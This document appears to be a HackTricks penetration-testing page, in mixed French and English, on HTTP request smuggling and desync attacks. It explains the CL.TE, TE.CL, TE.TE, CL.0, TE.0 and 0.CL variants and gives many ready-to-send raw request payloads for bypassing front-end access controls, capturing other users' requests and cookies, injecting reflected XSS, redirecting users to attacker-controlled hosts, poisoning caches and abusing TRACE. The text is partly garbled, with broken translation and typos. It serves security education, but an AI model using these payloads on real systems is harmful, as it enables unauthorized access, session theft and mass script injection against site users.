HTTP Request Smuggling / HTTP Desync Attack

Tip

Apprenez et pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Parcourez le catalogue complet de HackTricks Training pour les parcours d’évaluation (ARTA/GRTA/AzRTA) et Linux Hacking Expert (LHE).

Support HackTricks

What is

Cette vulnérabilité se produit lorsqu’une désynchronisation entre des front-end proxies et le serveur back-end permet à un attacker d’envoyer une requête HTTP qui sera interprétée comme une seule requête par les front-end proxies (load balance/reverse-proxy) et comme 2 request par le serveur back-end.
Cela permet à un utilisateur de modifier la prochaine requête qui arrive au serveur back-end après la sienne.

Theory

RFC Specification (2161)

If a message is received with both a Transfer-Encoding header field and a Content-Length header field, the latter MUST be ignored.

Content-Length

The Content-Length entity header indicates the size of the entity-body, in bytes, sent to the recipient.

Transfer-Encoding: chunked

The Transfer-Encoding header specifies the form of encoding used to safely transfer the payload body to the user.
Chunked means that large data is sent in a series of chunks

Reality

Le Front-End (a load-balance / Reverse Proxy) process le header content-length ou transfer-encoding et le serveur Back-end process the other un, provoquant une désynchronisation entre les 2 systèmes.
Cela peut être très critique car an attacker will be able to send one request au reverse proxy qui sera interprété par le serveur back-end as 2 different requests. Le danger de cette technique vient du fait que le serveur back-end will interpret la 2nd request injected comme si elle venait du client suivant et la vraie requête de ce client fera partie de la requête injectée.

Particularities

Remember that in HTTP a new line character is composed by 2 bytes:

  • Content-Length: This header uses a decimal number to indicate the number of bytes of the body of the request. The body is expected to end in the last character, a new line is not needed in the end of the request.
  • Transfer-Encoding: This header uses in the body an hexadecimal number to indicate the number of bytes of the next chunk. The chunk must end with a new line but this new line isn’t counted by the length indicator. This transfer method must end with a chunk of size 0 followed by 2 new lines: 0
  • Connection: Based on my experience it’s recommended to use Connection: keep-alive on the first request of the request Smuggling.

Visible - Hidden

The main proble with http/1.1 is that all the requests go in the same TCP socket, so if a discrpancy is found between 2 systems receiving requests it’s possible to send one request that will be reated as 2 different requests (or more) by the final backend (or even intermediary systems).

This blog post proposes new ways to detect desync attacks to a system that won’t be flagged by WAFs. For this it presents the Visible vs Hidden behaviours. The goal in this case is to try to find discrepancies in the repsonse using techniques that could be causing desyncs withuot actually exploiting anything.

For example, sending a request with the normal host header and a “ host“ header, if the backend complains about this request (maybe becasue the value of “ host“ is incorrect) it possible means that the front-end didn’t see about the “ host“ header while the final backend did use it, higly probale implaying a desync between front-end and backend.

This would be a Hidden-Visible discrepancy.

If the front-end would have taken into account the “ host“ header but the front-end didn’t, this could have been a Visible-Hidden situation.

For example, this allowed to discover desyncs between AWS ALB as front-end and IIS as the backend. This was because when the “Host: foo/bar” was sent, the ALB returned 400, Server; awselb/2.0, but when “Host : foo/bar” was sent, it returned 400, Server: Microsoft-HTTPAPI/2.0, indicating the backend was sending the response. This is a Hidden-Vissible (H-V) situation.

Note that this situation is not corrected in the AWS, but it can be prevented setting routing.http.drop_invalid_header_fields.enabled and routing.http.desync_mitigation_mode = strictest.

Basic Examples

Tip

When trying to exploit this with Burp Suite disable Update Content-Length and Normalize HTTP/1 line endings in the repeater because some gadgets abuse newlines, carriage returns and malformed content-lengths.

HTTP request smuggling attacks are crafted by sending ambiguous requests that exploit discrepancies in how front-end and back-end servers interpret the Content-Length (CL) and Transfer-Encoding (TE) headers. These attacks can manifest in different forms, primarily as CL.TE, TE.CL, and TE.TE. Each type represents a unique combination of how the front-end and back-end servers prioritize these headers. The vulnerabilities arise from the servers processing the same request in different ways, leading to unexpected and potentially malicious outcomes.

Basic Examples of Vulnerability Types

https://twitter.com/SpiderSec/status/1200413390339887104?ref_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1200413390339887104&ref_url=https%3A%2F%2Ftwitter.com%2FSpiderSec%2Fstatus%2F1200413390339887104

Tip

To the previous table you should add the TE.0 technique, like CL.0 technique but using Transfer Encoding.

CL.TE Vulnerability (Content-Length used by Front-End, Transfer-Encoding used by Back-End)

  • Front-End (CL): Processes the request based on the Content-Length header.

  • Back-End (TE): Processes the request based on the Transfer-Encoding header.

  • Attack Scenario:

  • The attacker sends a request where the Content-Length header’s value does not match the actual content length.

  • The front-end server forwards the entire request to the back-end, based on the Content-Length value.

  • The back-end server processes the request as chunked due to the Transfer-Encoding: chunked header, interpreting the remaining data as a separate, subsequent request.

  • Example:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 30
Connection: keep-alive
Transfer-Encoding: chunked

0

GET /404 HTTP/1.1
Foo: x

TE.CL Vulnerability (Transfer-Encoding used by Front-End, Content-Length used by Back-End)

  • Front-End (TE): Processes the request based on the Transfer-Encoding header.

  • Back-End (CL): Processes the request based on the Content-Length header.

  • Attack Scenario:

  • The attacker sends a chunked request where the chunk size (7b) and actual content length (Content-Length: 4) do not align.

  • The front-end server, honoring Transfer-Encoding, forwards the entire request to the back-end.

  • The back-end server, respecting Content-Length, processes only the initial part of the request (7b bytes), leaving the rest as part of an unintended subsequent request.

  • Example:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 4
Connection: keep-alive
Transfer-Encoding: chunked

7b
GET /404 HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 30

x=
0

TE.TE Vulnerability (Transfer-Encoding used by both, with obfuscation)

  • Servers: Both support Transfer-Encoding, but one can be tricked into ignoring it via obfuscation.

  • Attack Scenario:

  • The attacker sends a request with obfuscated Transfer-Encoding headers.

  • Depending on which server (front-end or back-end) fails to recognize the obfuscation, a CL.TE or TE.CL vulnerability may be exploited.

  • The unprocessed part of the request, as seen by one of the servers, becomes part of a subsequent request, leading to smuggling.

  • Example:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked

Transfer-Encoding
: chunked

CL.CL Scenario (Content-Length used by both Front-End and Back-End)

  • Both servers process the request based solely on the Content-Length header.
  • This scenario typically does not lead to smuggling, as there’s alignment in how both servers interpret the request length.
  • Example:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive

Normal Request

CL.0 Scenario

  • Refers to scenarios where the Content-Length header is present and has a value other than zero, indicating that the request body has content. The back-end ignores the Content-Length header (which is treated as 0), but the front-end parses it.
  • It’s crucial in understanding and crafting smuggling attacks, as it influences how servers determine the end of a request.
  • Example:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive

Non-Empty Body

TE.0 Scenario

  • Like the previous one but using TE
  • Technique reported here
  • Example:
OPTIONS / HTTP/1.1
Host: {HOST}
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36
Transfer-Encoding: chunked
Connection: keep-alive

50
GET <http://our-collaborator-server/> HTTP/1.1
x: X
0
EMPTY_LINE_HERE
EMPTY_LINE_HERE

0.CL Scenario

Dans une situation 0.CL, une requête est envoyée avec un Content-Length comme :

GET /Logon HTTP/1.1
Host: <redacted>
Content-Length:
7

GET /404 HTTP/1.1
X: Y

Et le front-end ne prend pas en compte le Content-Length, donc il envoie seulement la première requête au backend (jusqu’au 7 dans l’exemple). Cependant, le backend voit le Content-Length et attend un body qui n’arrive jamais, car le front-end attend déjà la réponse.

Cependant, s’il existe une requête qu’il est possible d’envoyer au backend et qui reçoit une réponse avant de recevoir le body de la requête, ce deadlock ne se produira pas. Dans IIS par exemple, cela arrive en envoyant des requêtes vers des mots interdits comme /con (check the documentation), de cette façon, la requête initiale sera répondue directement et la seconde requets contiendra la requête de la victime comme :

GET / HTTP/1.1
X: yGET /victim HTTP/1.1
Host: <redacted>

Ceci est utile pour provoquer un desync, mais cela n’aura aucun impact pour l’instant.

Cependant, le post propose une solution à cela en convertissant une 0.CL attack into a CL.0 with a double desync.

Breaking the web server

Cette technique est aussi utile dans les scénarios où il est possible de break un web server en lisant les données HTTP initiales mais sans fermer la connexion. De cette façon, le body de la requête HTTP sera considéré comme la requête HTTP suivante.

Par exemple, comme expliqué dans this writeup, dans Werkzeug il était possible d’envoyer certains caractères Unicode et cela faisait break le serveur. Cependant, si la connexion HTTP avait été créée avec l’en-tête Connection: keep-alive, le body de la requête ne serait pas lu et la connexion resterait ouverte, donc le body de la requête serait traité comme la requête HTTP suivante.

Forcing via hop-by-hop headers

En abusant des hop-by-hop headers, vous pourriez indiquer au proxy de supprimer l’en-tête Content-Length ou Transfer-Encoding afin qu’un HTTP request smuggling puisse être exploité.

Connection: Content-Length

Pour plus d’informations sur les hop-by-hop headers visitez :

hop-by-hop headers

Finding HTTP Request Smuggling

Identifier des vulnérabilités de HTTP Request Smuggling peut souvent se faire à l’aide de techniques de timing, qui reposent sur l’observation du temps nécessaire au serveur pour répondre à des requêtes manipulées. Ces techniques sont particulièrement utiles pour détecter les vulnérabilités CL.TE et TE.CL. En plus de ces méthodes, il existe d’autres stratégies et outils qui peuvent être utilisés pour trouver de telles vulnérabilités :

Finding CL.TE Vulnerabilities Using Timing Techniques

  • Method:

  • Envoyez une requête qui, si l’application est vulnérable, fera attendre le serveur back-end des données supplémentaires.

  • Example:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 4

1
A
0
  • Observation:

  • Le serveur front-end traite la requête en se basant sur Content-Length et coupe le message prématurément.

  • Le serveur back-end, s’attendant à un message chunked, attend le prochain chunk qui n’arrive jamais, ce qui provoque un délai.

  • Indicators:

  • Des timeouts ou de longs délais dans la réponse.

  • La réception d’une erreur 400 Bad Request du serveur back-end, parfois avec des informations détaillées sur le serveur.

Finding TE.CL Vulnerabilities Using Timing Techniques

  • Method:

  • Envoyez une requête qui, si l’application est vulnérable, fera attendre le serveur back-end des données supplémentaires.

  • Example:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 6

0
X
  • Observation:
  • Le serveur front-end traite la requête en se basant sur Transfer-Encoding et transmet le message entier.
  • Le serveur back-end, s’attendant à un message basé sur Content-Length, attend des données supplémentaires qui n’arrivent jamais, ce qui provoque un délai.

Other Methods to Find Vulnerabilities

  • Differential Response Analysis:
  • Envoyez des versions légèrement différentes d’une requête et observez si les réponses du serveur diffèrent de manière inattendue, ce qui indique une divergence de parsing.
  • Using Automated Tools:
  • Des outils comme l’extension ‘HTTP Request Smuggler’ de Burp Suite peuvent automatiquement tester ces vulnérabilités en envoyant diverses formes de requêtes ambiguës et en analysant les réponses.
  • Content-Length Variance Tests:
  • Envoyez des requêtes avec des valeurs Content-Length variables qui ne correspondent pas à la longueur réelle du contenu et observez comment le serveur gère ces incohérences.
  • Transfer-Encoding Variance Tests:
  • Envoyez des requêtes avec des headers Transfer-Encoding obfusqués ou malformés et surveillez comment le serveur front-end et le serveur back-end réagissent différemment à ces manipulations.

The Expect: 100-continue header

Check how this header can help exploiting a http desync in:

Special Http Headers

HTTP Request Smuggling Vulnerability Testing

Après avoir confirmé l’efficacité des techniques de timing, il est crucial de vérifier si les requêtes client peuvent être manipulées. Une méthode simple consiste à tenter d’empoisonner vos requêtes, par exemple en faisant en sorte qu’une requête vers / renvoie une réponse 404. Les exemples CL.TE et TE.CL précédemment discutés dans Basic Examples montrent comment empoisonner la requête d’un client afin de provoquer une réponse 404, malgré le fait que le client tente d’accéder à une autre ressource.

Key Considerations

Lors du test de vulnérabilités de request smuggling en interférant avec d’autres requêtes, gardez à l’esprit :

  • Distinct Network Connections: Les requêtes “attack” et “normal” doivent être envoyées via des connexions réseau distinctes. Utiliser la même connexion pour les deux ne valide pas la présence de la vulnérabilité.
  • Consistent URL and Parameters: Essayez d’utiliser des URL et des noms de paramètres identiques pour les deux requêtes. Les applications modernes acheminent souvent les requêtes vers des serveurs back-end spécifiques en fonction de l’URL et des paramètres. Les faire correspondre augmente la probabilité que les deux requêtes soient traitées par le même serveur, ce qui est une condition préalable à une attaque réussie.
  • Timing and Racing Conditions: La requête “normal”, destinée à détecter une interférence de la requête “attack”, entre en concurrence avec d’autres requêtes simultanées de l’application. Par conséquent, envoyez la requête “normal” immédiatement après la requête “attack”. Les applications très sollicitées peuvent nécessiter plusieurs essais pour confirmer de manière concluante la vulnérabilité.
  • Load Balancing Challenges: Les serveurs front-end agissant comme load balancers peuvent distribuer les requêtes entre plusieurs systèmes back-end. Si les requêtes “attack” et “normal” se retrouvent sur des systèmes différents, l’attaque échouera. Cet aspect de load balancing peut nécessiter plusieurs tentatives pour confirmer une vulnérabilité.
  • Unintended User Impact: Si votre attaque a involontairement un impact sur la requête d’un autre utilisateur (et non sur la requête “normal” que vous avez envoyée pour la détection), cela indique que votre attaque a प्रभावित un autre utilisateur de l’application. Des tests continus pourraient perturber d’autres utilisateurs, ce qui impose une approche prudente.

Distinguishing HTTP/1.1 pipelining artifacts vs genuine request smuggling

La réutilisation de connexion (keep-alive) et le pipelining peuvent facilement produire des illusions de “smuggling” dans les outils de test qui envoient plusieurs requêtes sur la même socket. Apprenez à distinguer les artefacts inoffensifs côté client d’un véritable desync côté serveur.

Why pipelining creates classic false positives

HTTP/1.1 réutilise une seule connexion TCP/TLS et concatène les requêtes et les réponses sur le même flux. En pipelining, le client envoie plusieurs requêtes à la suite et s’appuie sur des réponses dans l’ordre. Un faux positif courant consiste à renvoyer deux fois sur une seule connexion une charge utile CL.0 malformée :

POST / HTTP/1.1
Host: hackxor.net
Content_Length: 47

GET /robots.txt HTTP/1.1
X: Y

Réponses peuvent ressembler à :

HTTP/1.1 200 OK
Content-Type: text/html

HTTP/1.1 200 OK
Content-Type: text/plain

User-agent: *
Disallow: /settings

Si le serveur ignorait le Content_Length mal formé, il n’y a pas de désynchronisation FE↔BE. Avec reuse, votre client a en réalité envoyé ce byte-stream, que le serveur a interprété comme deux requêtes indépendantes :

POST / HTTP/1.1
Host: hackxor.net
Content_Length: 47

GET /robots.txt HTTP/1.1
X: YPOST / HTTP/1.1
Host: hackxor.net
Content_Length: 47

GET /robots.txt HTTP/1.1
X: Y

Impact: aucun. Vous avez simplement désynchronisé votre client du framing du serveur.

Tip

Modules Burp qui dépendent de reuse/pipelining: Turbo Intruder avec requestsPerConnection>1, Intruder avec “HTTP/1 connection reuse”, Repeater “Send group in sequence (single connection)” ou “Enable connection reuse”.

Litmus tests: pipelining ou vrai desync ?

  1. Disable reuse and re-test
  • In Burp Intruder/Repeater, turn off HTTP/1 reuse and avoid “Send group in sequence”.
  • In Turbo Intruder, set requestsPerConnection=1 and pipeline=False.
  • If the behavior disappears, it was likely client-side pipelining, unless you’re dealing with connection-locked/stateful targets or client-side desync.
  1. HTTP/2 nested-response check
  • Send an HTTP/2 request. If the response body contains a complete nested HTTP/1 response, you’ve proven a backend parsing/desync bug instead of a pure client artifact.
  1. Partial-requests probe for connection-locked front-ends
  • Some FEs only reuse the upstream BE connection if the client reused theirs. Use partial-requests to detect FE behavior that mirrors client reuse.
  • See PortSwigger “Browser‑Powered Desync Attacks” for the connection-locked technique.
  1. State probes
  • Look for first- vs subsequent-request differences on the same TCP connection (first-request routing/validation).
  • Burp “HTTP Request Smuggler” includes a connection‑state probe that automates this.
  1. Visualize the wire
  • Use the Burp “HTTP Hacker” extension to inspect concatenation and message framing directly while experimenting with reuse and partial requests.

Connection‑locked request smuggling (reuse-required)

Some front-ends only reuse the upstream connection when the client reuses theirs. Real smuggling exists but is conditional on client-side reuse. To distinguish and prove impact:

  • Prove the server-side bug
  • Use the HTTP/2 nested-response check, or
  • Use partial-requests to show the FE only reuses upstream when the client does.
  • Show real impact even if direct cross-user socket abuse is blocked:
  • Cache poisoning: poison shared caches via the desync so responses affect other users.
  • Internal header disclosure: reflect FE-injected headers (e.g., auth/trust headers) and pivot to auth bypass.
  • Bypass FE controls: smuggle restricted paths/methods past the front-end.
  • Host-header abuse: combine with host routing quirks to pivot to internal vhosts.
  • Operator workflow
  • Reproduce with controlled reuse (Turbo Intruder requestsPerConnection=2, or Burp Repeater tab group → “Send group in sequence (single connection)”).
  • Then chain to cache/header-leak/control-bypass primitives and demonstrate cross-user or authorization impact.

See also connection‑state attacks, which are closely related but not technically smuggling:

{{#ref}} ../http-connection-request-smuggling.md {{#endref}}

Client‑side desync constraints

If you’re targeting browser-powered/client-side desync, the malicious request must be sendable by a browser cross-origin. Header obfuscation tricks won’t work. Focus on primitives reachable via navigation/fetch, and then pivot to cache poisoning, header disclosure, or front-end control bypass where downstream components reflect or cache responses.

For background and end-to-end workflows:

Browser HTTP Request Smuggling

Tooling to help decide

  • HTTP Hacker (Burp BApp Store): exposes low-level HTTP behavior and socket concatenation.
  • “Smuggling or pipelining?” Burp Repeater Custom Action: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda
  • Turbo Intruder: precise control over connection reuse via requestsPerConnection.
  • Burp HTTP Request Smuggler: includes a connection‑state probe to spot first‑request routing/validation.

Note

Treat reuse-only effects as non-issues unless you can prove server-side desync and attach concrete impact (poisoned cache artifact, leaked internal header enabling privilege bypass, bypassed FE control, etc.).

Abusing HTTP Request Smuggling

Circumventing Front-End Security via HTTP Request Smuggling

Sometimes, front-end proxies enforce security measures, scrutinizing incoming requests. However, these measures can be circumvented by exploiting HTTP Request Smuggling, allowing unauthorized access to restricted endpoints. For instance, accessing /admin might be prohibited externally, with the front-end proxy actively blocking such attempts. Nonetheless, this proxy may neglect to inspect embedded requests within a smuggled HTTP request, leaving a loophole for bypassing these restrictions.

Consider the following examples illustrating how HTTP Request Smuggling can be used to bypass front-end security controls, specifically targeting the /admin path which is typically guarded by the front-end proxy:

CL.TE Example

POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 67
Transfer-Encoding: chunked

0
GET /admin HTTP/1.1
Host: localhost
Content-Length: 10

x=

Dans l’attaque CL.TE, l’en-tête Content-Length est exploité pour la requête initiale, tandis que la requête intégrée suivante utilise l’en-tête Transfer-Encoding: chunked. Le proxy front-end traite la requête POST initiale mais ne parvient pas à inspecter la requête intégrée GET /admin, permettant un accès non autorisé au chemin /admin.

TE.CL Example

POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 4
Transfer-Encoding: chunked
2b
GET /admin HTTP/1.1
Host: localhost
a=x
0

À l’inverse, dans l’attaque TE.CL, la requête POST initiale utilise Transfer-Encoding: chunked, et la requête imbriquée suivante est traitée en fonction de l’en-tête Content-Length. Comme pour l’attaque CL.TE, le proxy front-end ignore la requête GET /admin smuggled, accordant involontairement l’accès au chemin restreint /admin.

Révéler la réécriture des requêtes front-end

Les applications utilisent souvent un serveur front-end pour modifier les requêtes entrantes avant de les transmettre au serveur back-end. Une modification typique consiste à ajouter des en-têtes, tels que X-Forwarded-For: <IP of the client>, pour relayer l’adresse IP du client au back-end. Comprendre ces modifications peut être crucial, car cela peut révéler des moyens de bypasser les protections ou de découvrir des informations ou endpoints cachés.

Pour étudier comment un proxy modifie une requête, localisez un paramètre POST que le back-end renvoie dans la réponse. Ensuite, construisez une requête en utilisant ce paramètre en dernier, comme dans l’exemple suivant :

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 130
Connection: keep-alive
Transfer-Encoding: chunked

0

POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100

search=

Dans cette structure, les composants de requête suivants sont ajoutés après search=, qui est le paramètre reflété dans la réponse. Cette réflexion exposera les headers de la requête suivante.

Il est important d’aligner le header Content-Length de la requête imbriquée avec la longueur réelle du contenu. Commencer par une petite valeur et augmenter progressivement est conseillé, car une valeur trop basse tronquera les données reflétées, tandis qu’une valeur trop élevée peut provoquer une erreur de requête.

Cette technique est aussi applicable dans le contexte d’une vulnérabilité TE.CL, mais la requête doit se terminer par search=\r\n0. Quels que soient les caractères de nouvelle ligne, les valeurs seront ajoutées au paramètre search.

Cette méthode sert principalement à comprendre les modifications de requête effectuées par le proxy front-end, en menant essentiellement une investigation auto-dirigée.

Capturer les requêtes d’autres utilisateurs

Il est possible de capturer les requêtes de l’utilisateur suivant en ajoutant une requête spécifique comme valeur d’un paramètre lors d’une opération POST. Voici comment procéder :

En ajoutant la requête suivante comme valeur d’un paramètre, vous pouvez stocker la requête du client suivant :

POST / HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 319
Connection: keep-alive
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
Transfer-Encoding: chunked

0

POST /post/comment HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Length: 659
Content-Type: application/x-www-form-urlencoded
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi

csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40email.com&comment=

Dans ce scénario, le paramètre comment est destiné à stocker le contenu de la section de commentaires d’un post sur une page accessible publiquement. Par conséquent, le contenu de la requête suivante apparaîtra comme un commentaire.

Cependant, cette technique a des limites. En général, elle capture les données uniquement jusqu’au délimiteur de paramètre utilisé dans la requête smuggled. Pour les soumissions de formulaires encodées en URL, ce délimiteur est le caractère &. Cela signifie que le contenu capturé de la requête de la victime s’arrêtera au premier &, qui peut même faire partie de la query string.

De plus, il convient de noter que cette approche est également viable avec une vulnérabilité TE.CL. Dans de tels cas, la requête doit se terminer par search=\r\n0. Indépendamment des caractères de nouvelle ligne, les valeurs seront ajoutées au paramètre search.

Using HTTP request smuggling to exploit reflected XSS

HTTP Request Smuggling peut être utilisé pour exploiter des pages web vulnérables à un Reflected XSS, offrant des avantages significatifs :

  • L’interaction avec les utilisateurs cibles n’est pas requise.
  • Permet l’exploitation de XSS dans des parties de la requête normalement inaccessibles, comme les en-têtes HTTP de la requête.

Dans des scénarios où un site web est susceptible à un Reflected XSS via l’en-tête User-Agent, le payload suivant montre comment exploiter cette vulnérabilité :

POST / HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Cookie: session=ac311fa41f0aa1e880b0594d008d009e
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 213
Content-Type: application/x-www-form-urlencoded

0

GET /post?postId=2 HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: "><script>alert(1)</script>
Content-Length: 10
Content-Type: application/x-www-form-urlencoded

A=

Ce payload est structuré pour exploiter la vulnérabilité en :

  1. Initiant une requête POST, apparemment classique, avec un en-tête Transfer-Encoding: chunked pour indiquer le début du smuggling.
  2. Enchaînant avec un 0, marquant la fin du corps du message chunked.
  3. Puis, une requête GET smuggled est introduite, où l’en-tête User-Agent est injecté avec un script, <script>alert(1)</script>, déclenchant le XSS lorsque le serveur traite cette requête suivante.

En manipulant User-Agent via smuggling, le payload contourne les contraintes normales des requêtes, exploitant ainsi la vulnérabilité Reflected XSS d’une manière non standard mais efficace.

HTTP/0.9

Caution

Si le contenu utilisateur est reflété dans une réponse avec un Content-type tel que text/plain, cela empêche l’exécution du XSS. Si le serveur supporte HTTP/0.9, il pourrait être possible de contourner cela !

La version HTTP/0.9 était antérieure à la 1.0 et n’utilise que des verbes GET et ne répond pas avec des headers, seulement le body.

Dans cette writeup, cela a été abusé avec un request smuggling et un endpoint vulnérable qui répondra avec l’entrée de l’utilisateur pour smuggler une requête avec HTTP/0.9. Le paramètre qui sera reflété dans la réponse contenait une fausse réponse HTTP/1.1 (avec headers et body), donc la réponse contiendra un code JS exécutable valide avec un Content-Type de text/html.

Exploiting On-site Redirects with HTTP Request Smuggling

Les applications redirigent souvent d’une URL à une autre en utilisant le hostname de l’en-tête Host dans l’URL de redirection. C’est courant avec des web servers comme Apache et IIS. Par exemple, une requête vers un dossier sans slash final entraîne une redirection pour ajouter le slash :

GET /home HTTP/1.1
Host: normal-website.com

Résultats en :

HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/

Bien que cela semble inoffensif, ce comportement peut être manipulé en utilisant HTTP request smuggling pour rediriger les utilisateurs vers un site externe. Par exemple :

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 54
Connection: keep-alive
Transfer-Encoding: chunked

0

GET /home HTTP/1.1
Host: attacker-website.com
Foo: X

Cette requête smuggled pourrait faire en sorte que la prochaine requête utilisateur traitée soit redirigée vers un site web contrôlé par un attaquant :

GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /scripts/include.js HTTP/1.1
Host: vulnerable-website.com

Résultats dans :

HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/

Dans ce scénario, une requête d’un utilisateur pour un fichier JavaScript est détournée. L’attaquant peut potentiellement compromettre l’utilisateur en servant du JavaScript malveillant en réponse.

Exploiting Web Cache Poisoning via HTTP Request Smuggling

Le web cache poisoning peut être exécuté si un composant de l’infrastructure front-end met en cache du contenu, généralement pour améliorer les performances. En manipulant la réponse du serveur, il est possible de poison le cache.

Précédemment, nous avons vu comment les réponses du serveur pouvaient être modifiées pour renvoyer une erreur 404 (voir Basic Examples). De même, il est possible de tromper le serveur afin qu’il renvoie le contenu de /index.html en réponse à une requête pour /static/include.js. Par conséquent, le contenu de /static/include.js est remplacé dans le cache par celui de /index.html, rendant /static/include.js inaccessible aux utilisateurs, ce qui peut conduire à un Denial of Service (DoS).

Cette technique devient particulièrement puissante si une vulnérabilité Open Redirect est découverte ou s’il existe une redirection sur site vers un open redirect. De telles vulnérabilités peuvent être exploitées pour remplacer le contenu mis en cache de /static/include.js par un script sous le contrôle de l’attaquant, permettant en pratique une attaque Cross-Site Scripting (XSS) à grande échelle contre tous les clients demandant la version mise à jour de /static/include.js.

Voici une illustration de l’exploitation du cache poisoning combiné à une redirection sur site vers un open redirect. L’objectif est de modifier le contenu du cache de /static/include.js afin de servir du code JavaScript contrôlé par l’attaquant :

POST / HTTP/1.1
Host: vulnerable.net
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 124
Transfer-Encoding: chunked

0

GET /post/next?postId=3 HTTP/1.1
Host: attacker.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 10

x=1

Notez la requête intégrée ciblant /post/next?postId=3. Cette requête sera redirigée vers /post?postId=4, en utilisant la valeur de l’en-tête Host pour déterminer le domaine. En modifiant l’en-tête Host, l’attaquant peut rediriger la requête vers son domaine (on-site redirect to open redirect).

Après un socket poisoning réussi, une requête GET pour /static/include.js devrait être initiée. Cette requête sera contaminée par la requête précédente on-site redirect to open redirect et récupérera le contenu du script contrôlé par l’attaquant.

Ensuite, toute requête vers /static/include.js servira le contenu mis en cache du script de l’attaquant, lançant ainsi une attaque XSS à grande échelle.

Using HTTP request smuggling to perform web cache deception

What is the difference between web cache poisoning and web cache deception?

  • Dans web cache poisoning, l’attaquant amène l’application à stocker du contenu malveillant dans le cache, et ce contenu est servi depuis le cache aux autres utilisateurs de l’application.
  • Dans web cache deception, l’attaquant amène l’application à stocker dans le cache du contenu sensible appartenant à un autre utilisateur, puis l’attaquant récupère ensuite ce contenu depuis le cache.

L’attaquant fabrique une requête smuggled qui récupère du contenu sensible spécifique à l’utilisateur. Considérez l’exemple suivant :

`POST / HTTP/1.1`\
`Host: vulnerable-website.com`\
`Connection: keep-alive`\
`Content-Length: 43`\
`Transfer-Encoding: chunked`\
`` \ `0`\ ``\
`GET /private/messages HTTP/1.1`\
`Foo: X`

Si cette requête smuggled empoisonne une entrée de cache destinée au contenu statique (par ex., /someimage.png), les données sensibles de la victime provenant de /private/messages pourraient être mises en cache sous l’entrée de cache du contenu statique. Par conséquent, l’attaquant pourrait potentiellement récupérer ces données sensibles mises en cache.

Abusing TRACE via HTTP Request Smuggling

Dans cet article il est suggéré que si le serveur a la méthode TRACE activée, il pourrait être possible de l’abuser avec un HTTP Request Smuggling. En effet, cette méthode reflète tout header envoyé au serveur dans le body de la réponse. Par exemple:

TRACE / HTTP/1.1
Host: example.com
XSS: <script>alert("TRACE")</script>

Je renverrai une réponse telle que :

HTTP/1.1 200 OK
Content-Type: message/http
Content-Length: 115

TRACE / HTTP/1.1
Host: vulnerable.com
XSS: <script>alert("TRACE")</script>
X-Forwarded-For: xxx.xxx.xxx.xxx

Un exemple d’abus de ce comportement serait de smuggle d’abord une requête HEAD. Cette requête recevra uniquement les headers d’une requête GET (Content-Type parmi eux). Puis de smuggle immédiatement après la HEAD une requête TRACE, qui reflétera les données envoyées.
Comme la réponse HEAD contiendra un header Content-Length, la réponse de la requête TRACE sera traitée comme le body de la réponse HEAD, reflétant ainsi des données arbitraires dans la réponse.
Cette réponse sera envoyée à la requête suivante sur la connexion, donc cela pourrait être utilisé dans un fichier JS mis en cache, par exemple pour injecter du code JS arbitraire.

Abusing TRACE via HTTP Response Splitting

Continue following this post is suggested another way to abuse the méthode TRACE. Comme commenté, en smuggled une requête HEAD et une requête TRACE, il est possible de contrôler certaines données reflétées dans la réponse à la requête HEAD. La longueur du body de la requête HEAD est essentiellement indiquée dans le header Content-Length et est formée par la réponse à la requête TRACE.

